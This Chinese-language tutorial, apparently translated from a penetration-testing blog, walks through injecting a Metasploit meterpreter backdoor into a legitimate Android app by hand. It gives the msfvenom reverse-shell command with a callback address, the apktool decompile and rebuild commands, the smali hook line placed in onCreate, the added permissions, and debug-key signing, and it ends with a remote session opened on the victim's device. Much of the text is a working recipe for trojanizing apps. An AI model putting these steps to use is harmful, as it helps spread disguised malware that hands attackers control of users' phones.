导语:大多数安卓应用程序都对底层二进制文件缺乏足够的防护,所以攻击者可以很简单的将带有后门的应用程序转换为合法的。这就是安卓手机中恶意软件传播如此迅速的原因之一。

在移动安全评估中,我们尝试将一些常用的应用程序加载上后门,并且加上后门之后应用程序毫无异常。这就可以用来证明如果使用的应用程序被种上后门,使用者会毫无知觉。

使用脚本将msf后门注入到安卓程序中已经在上一篇文章进行发表了。这一篇文章会通过手工将后门注入到应用程序中。

步骤一:生成攻击载荷

metasploit中的msfvenom可以生成多种类型的攻击载荷,当然我们也可以使用它来生成一个包含msf后门的apk。
使用如下命令:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
LPORT=4444 R > pentestlab.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8839 bytes

912.png

步骤二:逆向apk文件

首先,要对目标文件以及刚刚生成的apk文件进行反编译。使用的工具为众所周知的apktool。下面命令会将apk反编译,然后将反编译出来的代码保存到一个后缀名为smail的文件中:

java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
I: Using Apktool 2.2.2 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

decompiling-apks.png

步骤三:放置后门文件

将从产生的apk中后门文件放到目标文件中,具体内容以及方式如下:

/root/Downloads/payload/smali/com/metasploit/stage
/root/Downloads/original/smali/com/metasploit/stage

步骤四:注入hook

我们必须检测安卓应用程序清单文件,这样可以确定在打开安卓应用程序时进行了那些活动。进而确定我们的后门程序会不会执行:

identification-of-main-activity.png

将下图中的主函数中的代码内容用后门代码替换:

;->onCreate(Landroid/os/Bundle;)V

identification-of-code-to-be-replaced.png

以下代码会在程序启动时,执行后门,以及启动应用程序:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

injecting-the-hook.png

步骤五:给予应用程序权限

为了使我们的后门能够更有效的工作,需要给予安卓应用程序应有的权限。可以将这些额外的权限添加到安卓清单文件中,这样的话,如果用户同意,这个应用程序就会给予后门应有的权限。

injecting-the-apk-with-excessive-permissions.png

步骤六:编译应用程序

现在我们已经将后门以及权限设置注入到目标应用程序当中,我们要对源代码进行编译,同样使用apktool。

java -jar apktool.jar b /root/Downloads/original/

building-the-injected-apk.png

步骤七:对apk进行签名

如果apk为签名,那么apk将不能在手机中安装。默认的安装的调试签名可以在这使用:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey

signing-the-apk.png

当用户安装并且打开存在后门的应用程序时,我们就会得到meterpreter返回的会话:

meterpreter-via-injected-android-apk.png

源链接

Hacking more

...